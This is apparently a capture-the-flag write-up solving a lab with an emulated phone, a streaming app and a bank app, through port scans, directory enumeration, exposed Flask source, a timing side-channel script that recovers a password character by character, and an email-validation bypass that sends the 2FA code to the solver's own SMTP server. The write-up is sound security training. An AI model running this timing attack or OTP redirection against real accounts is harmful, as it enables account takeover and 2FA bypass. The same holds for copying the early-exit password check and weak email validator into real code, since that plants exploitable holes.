The following post by 0xb0b is licensed under CC BY 4.0
Recon
We use rustscan -b 500 -a 10.81.187.73 -- -sC -sV -Pn to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.
A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability
In addition to unlock port 21337, we also have ports 22 SSH, 25 SMTP, and 8443 open. At first glance, we are dealing with a web server on 8443.
Next, we run a directory scan using Feroxbuster on the web server and do not find anything of interest besides a main.js.
We visit the web service on port 8443 with a browser and see an emulated smartphone interface. With various apps such as Hopflix, HopSec Bank, Mail, Settings, etc.
When we open Hopflix, we'll get a login screen, with an already set email...
... we'll note that down.
The HopSec Bank App also requires a lgoin, this time without a preset mail / account id.
When we inspect the source we come across the main.js we found earlier with our Feroxbuster scan. In the source we'll find a hardcoded passcode. We can use that to turn off the faceid feature, but it has no effect. For example, if we want to change the passcode or open the Authenticator app we still get the faceid screen.
What is real interesting for now is the checkCredentials(email, password) function which is used for the Hopflix app.
This function sends login credentials to /api/check-credentials and measures the request’s response time using performance.now(). It logs timing data for each attempt and returns whether the credentials are valid along with the elapsed time. In the context of a CTF, this could be an initial indication of a timing attack to enumerate the password, but more on that later.
For the HopSec Bank app we'll find the folllowing function::
bankLoginHandler():
This function submits the account ID and PIN to /api/bank-login. If successful, it populates a dropdown of trusted email addresses and transitions to the OTP selection screen. Errors are displayed inline to the user.
bankOtpHandler():
This function requests a one-time password to be sent to a selected trusted email. On success, it moves the user to the 2FA verification screen. Failures result in a visible error message.
verify2FA():
This function collects six individual OTP digits and submits them to /api/verify-2fa. If the code is valid, the user gains access to the bank dashboard. Invalid codes reset the input fields and show an error.
For now, we're stuck here. We could try to verify the email address in the Hopflix app via /api/check-credentials and brute force the password using a timing attack. But we don't know the exact logic behind how this password is verified.
We enumerate the directories and pages again with additional wordlists and get more hits with the quickhits.txt list. At least we are now able to spot the nginx.conf.
The nginx.conf contains the following entries:
uWSGI runs a WSGI application, which expose a callable named application. According to ChatGPT
the project structure could look like the following:
Furthermore we got:
This means:
If the requested path exists as a file, Nginx serves it directly
Otherwise, request is passed to the application
Which would allow LFI technically.
Let's check for some Python files, we include the file extension .py in our Feroxbuster scan and we find a main.py. With that we are also able to detect and reach /hopflix-874297.db. That file contains a hash, which, as we later learn, is custom-built, but does not appear to be crackable.
Flag 1
So, we are able to include files and request the main.py. Inside the main.py we find the first flag, and the logic how the password hash for the Hopflix app is crafted and checked. More on that later in section Flag 2.
Flag 2
For now we focus on the route /api/check-credentials, which is responsible for checking the credentials of the Hopflix app.This Flask endpoint receives an email and password, fetches the corresponding user from the database, and retrieves the stored password hash. It validates the password by hashing each character individually and comparing it sequentially against chunks of the stored hash. If all characters match, it authenticates the user by setting session variables.
We see that we have the assumed timing side-channel.
If a wrong password length is processed the the function stops earlier.
Comparison stops at the first incorrect character, allowing us to use a timing attack to recover the password one character at a time.
Each character is hash by the hopper_hash function. It does that. by repeatedly applying SHA-1 5000 times to a single-character string, producing a 40-hex-character hash that is computationally expensive.
Furthermore we can enumerate the users, since we have distinct error messages whether an email exists or not.
First, we test if the email we found is valid, and get a hit. The password is incorrect. The email sbreachblocker@easterbunnies.thm does actually exist.
Next, we need to craft a script to brute force for the password.
So what we have found out so far is that the vulnerable login code compares the password character by character and returns early as soon as a character hash does not match.
Because each correct character causes one extra hopper_hash() call (5,000 SHA-1 rounds), the server response time increases proportionally to how many leading characters are correct.
So, we need to first derive the password length and then each character of password by comparing the resulting timing. In short the script is split into three steps:
Step 1: Establish a Baseline
We send a definitely wrong password length, which triggers the fast failure path.
This gives a baseline response time for no hashing work.
All future timings subtract this baseline to isolate only the hashing delay.
Step 2: Recover the Password Length
The application leaks password length by performing work only if the length is correct.
For each guessed length:
We send "A" * length
Correct length → enters the slow per-character loop
Wrong length → immediate return
Assumption: The length with the largest timing increase is the real password length.
Step 3: Extract the Password Character by Character
By ranking characters by maximum delay, we identify the correct one.
Only lowercase characters are included in the script here to speed up the solution process. We run the script and, after a long time, receive the final password.
The last character was incorrect when the script was executed multiple times. I seem to have another flaw here, but the password can be easily guessed with the help of the remaining characters.
We enter the password...
... and are able to log in. We recovered the second flag.
Flag 3
We try to reuse the credentials.
We are successful and are now prompted to select an authorized email to send the OTP, like already seen in the logic of main.js/main.py.
Lets head back to the source main.py.
The route /api/bank-login handles the primary bank authentication.
It reads account_id and pin from the JSON request and looks up a matching user in the database.
If exactly one user exists and the SHA-256 hash of the provided PIN matches the stored hash, the user is marked as authenticated in the session but not yet 2FA-verified.
It then loads the user’s trusted emails and domains into the session and responds that 2FA is required, returning which trusted delivery options are available; otherwise, it returns an error for invalid credentials or a non-existent user.
If a mail is chosen from the drop down and the 2FA is requested the following route is triggerd, which generates the 2FA code and sends it via send_otp_email.
The send_otp_email validates the mail and sends it to the respective mail.
But the validation only check if there is at least one @ and that there are not the following cahracters included:
ASCII ≤ 32 (control chars, space, newline, etc.)
ASCII ≥ 126 (non-standard printable chars)
, or ;
It does not check:
structure (local@domain)
number of @
brackets, quotes, parentheses
RFC compliance
DNS / TLD / hostname rules
So we try to bypass the validation with something like this.
We log in again,...
... and save the resulting cookie. With each verficitation step the cookie gets updated.
This is the current state of the cookie:
We start an SMTP server...
And request the 2FA code with the crafted mail FUZZing for a character that breaks the validation. We need to set the session cookie. We have some positive results, and some 500s.
We filter those 500s out.
In the stdout of our mailserver we can see that we received the OTP code. We test it manually for each character and ( breaks the validation. We copy the resulting cookie.
Next, we note down the OTP.
We replace the session cookie with the one from our previous cURL request...
... and click Access Account.
The cookie gets updated again.
We enter the OTP and click on Verfiy.
We are now successfully logged in.
To get the final flag we need to release the charity funds.
from flask import Flask, request, jsonify, send_from_directory, session
import time
import random
import os
import hashlib
import time
import smtplib
import sqlite3
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
connection = sqlite3.connect("/hopflix-874297.db")
cursor = connection.cursor()
connection2 = sqlite3.connect("/hopsecbank-12312497.db")
cursor2 = connection2.cursor()
app = Flask(__name__)
app.secret_key = os.getenv('SECRETKEY')
aes_key = bytes(os.getenv('AESKEY'), "utf-8")
# Credentials (server-side only)
HOPFLIX_FLAG = os.getenv('HOPFLIX_FLAG')
BANK_ACCOUNT_ID = "hopper"
BANK_PIN = os.getenv('BANK_PIN')
BANK_FLAG = os.getenv('BANK_FLAG')
#CODE_FLAG = THM{REDACTED}
def encrypt(plaintext):
cipher = AES.new(aes_key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode('utf-8'))
return base64.b64encode(cipher.nonce + tag + ciphertext).decode('utf-8')
def decrypt(encrypted_data):
decoded_data = base64.b64decode(encrypted_data.encode('utf-8'))
nonce_len = 16
tag_len = 16
nonce = decoded_data[:nonce_len]
tag = decoded_data[nonce_len:nonce_len + tag_len]
ciphertext = decoded_data[nonce_len + tag_len:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
plaintext_bytes = cipher.decrypt_and_verify(ciphertext, tag)
return plaintext_bytes.decode('utf-8')
def validate_email(email):
if '@' not in email:
return False
if any(ord(ch) <= 32 or ord(ch) >=126 or ch in [',', ';'] for ch in email):
return False
return True
def send_otp_email(otp, to_addr):
if not validate_email(to_addr):
return -1
allowed_emails= session['bank_allowed_emails']
allowed_domains= session['bank_allowed_domains']
domain = to_addr.split('@')[-1]
if domain not in allowed_domains and to_addr not in allowed_emails:
return -1
from_addr = 'no-reply@hopsecbank.thm'
message = f"""\
Subject: Your OTP for HopsecBank
Dear you,
The OTP to access your banking app is {otp}.
Thanks for trusting Hopsec Bank!"""
s = smtplib.SMTP('smtp')
s.sendmail(from_addr, to_addr, message)
s.quit()
def hopper_hash(s):
res = s
for i in range(5000):
res = hashlib.sha1(res.encode()).hexdigest()
return res
@app.route('/')
def index():
return send_from_directory('.', 'index.html')
@app.route('/<path:path>')
def serve_static(path):
return send_from_directory('.', path)
@app.route('/api/check-credentials', methods=['POST'])
def check_credentials():
data = request.json
email = str(data.get('email', ''))
pwd = str(data.get('password', ''))
rows = cursor.execute(
"SELECT * FROM users WHERE email = ?",
(email,),
).fetchall()
if len(rows) != 1:
return jsonify({'valid':False, 'error': 'User does not exist'})
phash = rows[0][2]
if len(pwd)*40 != len(phash):
return jsonify({'valid':False, 'error':'Incorrect Password'})
for ch in pwd:
ch_hash = hopper_hash(ch)
if ch_hash != phash[:40]:
return jsonify({'valid':False, 'error':'Incorrect Password'})
phash = phash[40:]
session['authenticated'] = True
session['username'] = email
return jsonify({'valid': True})
@app.route('/api/get-last-viewed', methods=['GET'])
def get_bank_account_id():
if not session.get('authenticated', False):
return jsonify({'error': 'Unauthorized'}), 401
return jsonify({'last_viewed': HOPFLIX_FLAG})
@app.route('/api/bank-login', methods=['POST'])
def bank_login():
data = request.json
account_id = str(data.get('account_id', ''))
pin = str(data.get('pin', ''))
# Check bank credentials
rows = cursor2.execute(
"SELECT * FROM users WHERE email = ?",
(account_id,),
).fetchall()
if len(rows) != 1:
return jsonify({'valid':False, 'error': 'User does not exist'})
phash = rows[0][2]
if hashlib.sha256(pin.encode()).hexdigest().lower() == phash:
session['bank_authenticated'] = True
session['bank_2fa_verified'] = False
session['bank_allowed_emails'] = rows[0][5].split(',')
session['bank_allowed_domains'] = rows[0][6].split(',')
if len(session['bank_allowed_emails']) > 0:
return jsonify({
'success': True,
'requires_2fa': True,
'trusted_emails': rows[0][5].split(','),
})
if len(session['bank_allowed_domains']) > 0:
return jsonify({
'success': True,
'requires_2fa': True,
'trusted_domains': rows[0][6].split(','),
})
else:
return jsonify({'error': 'Invalid credentials'}), 401
@app.route('/api/send-2fa', methods=['POST'])
def send_2fa():
data = request.json
otp_email = str(data.get('otp_email', ''))
if not session.get('bank_authenticated', False):
return jsonify({'error': 'Access denied.'}), 403
# Generate 2FA code
two_fa_code = ''.join([str(random.randint(0, 9)) for _ in range(6)])
session['bank_2fa_code'] = encrypt(two_fa_code)
if send_otp_email(two_fa_code, otp_email) != -1:
return jsonify({'success': True})
else:
return jsonify({'success': False})
@app.route('/api/verify-2fa', methods=['POST'])
def verify_2fa():
data = request.json
code = str(data.get('code', ''))
if not session.get('bank_authenticated', False):
return jsonify({'error': 'Access denied.'}), 403
if not session.get('bank_2fa_code', False):
return jsonify({'error': 'No 2FA code generated'}), 404
if code == decrypt(session.get('bank_2fa_code')):
session['bank_2fa_verified'] = True
return jsonify({'success': True})
else:
if 'bank_2fa_code' in session:
del session['bank_2fa_code']
return jsonify({'error': 'Invalid code'}), 401
@app.route('/api/release-funds', methods=['POST'])
def release_funds():
if not session.get('bank_authenticated', False):
return jsonify({'error': 'Access denied.'}), 403
if not session.get('bank_2fa_verified', False):
return jsonify({'error': 'Access denied.'}), 403
return jsonify({'flag': BANK_FLAG})
if __name__ == '__main__':
port = int(os.environ.get('PORT', 5000))
app.run(host='0.0.0.0', port=port, debug=True,threaded=True)
@app.route('/api/check-credentials', methods=['POST'])
def check_credentials():
data = request.json
email = str(data.get('email', ''))
pwd = str(data.get('password', ''))
rows = cursor.execute(
"SELECT * FROM users WHERE email = ?",
(email,),
).fetchall()
if len(rows) != 1:
return jsonify({'valid':False, 'error': 'User does not exist'})
phash = rows[0][2]
if len(pwd)*40 != len(phash):
return jsonify({'valid':False, 'error':'Incorrect Password'})
for ch in pwd:
ch_hash = hopper_hash(ch)
if ch_hash != phash[:40]:
return jsonify({'valid':False, 'error':'Incorrect Password'})
phash = phash[40:]
session['authenticated'] = True
session['username'] = email
return jsonify({'valid': True})
if len(pwd)*40 != len(phash):
for ch in pwd:
ch_hash = hopper_hash(ch)
if ch_hash != phash[:40]:
return jsonify({'valid':False, 'error':'Incorrect Password'})
phash = phash[40:]
def hopper_hash(s):
res = s
for i in range(5000):
res = hashlib.sha1(res.encode()).hexdigest()
return res
return jsonify({'valid':False, 'error': 'User does not exist'})
def baseline():
return measure("X")
if len(pwd)*40 != len(phash):
return ...
guess = known + c + "A" * (remaining)
derive-password.py
import requests
import time
import statistics
import string
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# =====================
# CONFIG
# =====================
URL = "https://10.81.187.73:8443/api/check-credentials"
EMAIL = "sbreachblocker@easterbunnies.thm"
CHARSET = string.ascii_lowercase # + string.ascii_uppercase + string.digits + "{}_!@#$%^&*()-="
SAMPLES = 7
BATCH = 25
TIMEOUT = 10
MAX_LEN = 20
SLEEP = 0.05 # avoid rate limiting / jitter
session = requests.Session()
# =====================
# REQUEST PAYLOAD
# =====================
def payload(password):
return {
"email": EMAIL,
"password": password
}
# =====================
# TIMING PRIMITIVE
# =====================
def measure(password):
timings = []
for _ in range(SAMPLES):
start = time.perf_counter()
for _ in range(BATCH):
session.post(
URL,
json=payload(password),
verify=False,
timeout=TIMEOUT
)
timings.append(time.perf_counter() - start)
time.sleep(SLEEP)
return statistics.median(timings)
# =====================
# BASELINE MEASUREMENT
# =====================
def baseline():
# definitely wrong length → immediate return
return measure("X")
# =====================
# STEP 1: FIND PASSWORD LENGTH
# =====================
def find_length():
print("[*] Discovering password length...")
base = baseline()
results = {}
for length in range(1, MAX_LEN + 1):
guess = "A" * length
t = measure(guess) - base
results[length] = t
print(f" len={length:02d} -> Δ {t: 9.5f}s")
best = max(results, key=results.get)
print(f"[+] Password length is very likely {best}\n")
return best
# =====================
# STEP 2: EXTRACT PASSWORD
# =====================
def extract(length):
print("[*] Extracting password...")
known = ""
base = baseline()
for i in range(length):
print(f"[*] Position {i + 1}/{length}")
timings = {}
for c in CHARSET:
guess = known + c + "A" * (length - len(known) - 1)
t = measure(guess) - base
timings[c] = t
print(f" {guess} -> Δ {t:.5f}s")
# Sort candidates
ranked = sorted(timings.items(), key=lambda x: x[1], reverse=True)
best, best_t = ranked[0]
second, second_t = ranked[1]
# Confidence check
if best_t - second_t < 0.002:
print("[!] Low confidence, re-measuring top candidates...")
for c, _ in ranked[:3]:
guess = known + c + "A" * (length - len(known) - 1)
timings[c] = measure(guess) - base
ranked = sorted(timings.items(), key=lambda x: x[1], reverse=True)
best = ranked[0][0]
known += best
print(f"[+] Locked in: {best} → {known}\n")
return known
# =====================
# MAIN
# =====================
if __name__ == "__main__":
length = find_length()
password = extract(length)
print(f"[✔] PASSWORD RECOVERED: {password}")
python derive-password.py
@app.route('/api/bank-login', methods=['POST'])
def bank_login():
data = request.json
account_id = str(data.get('account_id', ''))
pin = str(data.get('pin', ''))
# Check bank credentials
rows = cursor2.execute(
"SELECT * FROM users WHERE email = ?",
(account_id,),
).fetchall()
if len(rows) != 1:
return jsonify({'valid':False, 'error': 'User does not exist'})
phash = rows[0][2]
if hashlib.sha256(pin.encode()).hexdigest().lower() == phash:
session['bank_authenticated'] = True
session['bank_2fa_verified'] = False
session['bank_allowed_emails'] = rows[0][5].split(',')
session['bank_allowed_domains'] = rows[0][6].split(',')
if len(session['bank_allowed_emails']) > 0:
return jsonify({
'success': True,
'requires_2fa': True,
'trusted_emails': rows[0][5].split(','),
})
if len(session['bank_allowed_domains']) > 0:
return jsonify({
'success': True,
'requires_2fa': True,
'trusted_domains': rows[0][6].split(','),
})
else:
return jsonify({'error': 'Invalid credentials'}), 401
@app.route('/api/send-2fa', methods=['POST'])
def send_2fa():
data = request.json
otp_email = str(data.get('otp_email', ''))
if not session.get('bank_authenticated', False):
return jsonify({'error': 'Access denied.'}), 403
# Generate 2FA code
two_fa_code = ''.join([str(random.randint(0, 9)) for _ in range(6)])
session['bank_2fa_code'] = encrypt(two_fa_code)
if send_otp_email(two_fa_code, otp_email) != -1:
return jsonify({'success': True})
else:
return jsonify({'success': False})
def send_otp_email(otp, to_addr):
if not validate_email(to_addr):
return -1
allowed_emails= session['bank_allowed_emails']
allowed_domains= session['bank_allowed_domains']
domain = to_addr.split('@')[-1]
if domain not in allowed_domains and to_addr not in allowed_emails:
return -1
from_addr = 'no-reply@hopsecbank.thm'
message = f"""\
Subject: Your OTP for HopsecBank
Dear you,
The OTP to access your banking app is {otp}.
Thanks for trusting Hopsec Bank!"""
s = smtplib.SMTP('smtp')
s.sendmail(from_addr, to_addr, message)
s.quit()
def validate_email(email):
if '@' not in email:
return False
if any(ord(ch) <= 32 or ord(ch) >=126 or ch in [',', ';'] for ch in email):
return False
return True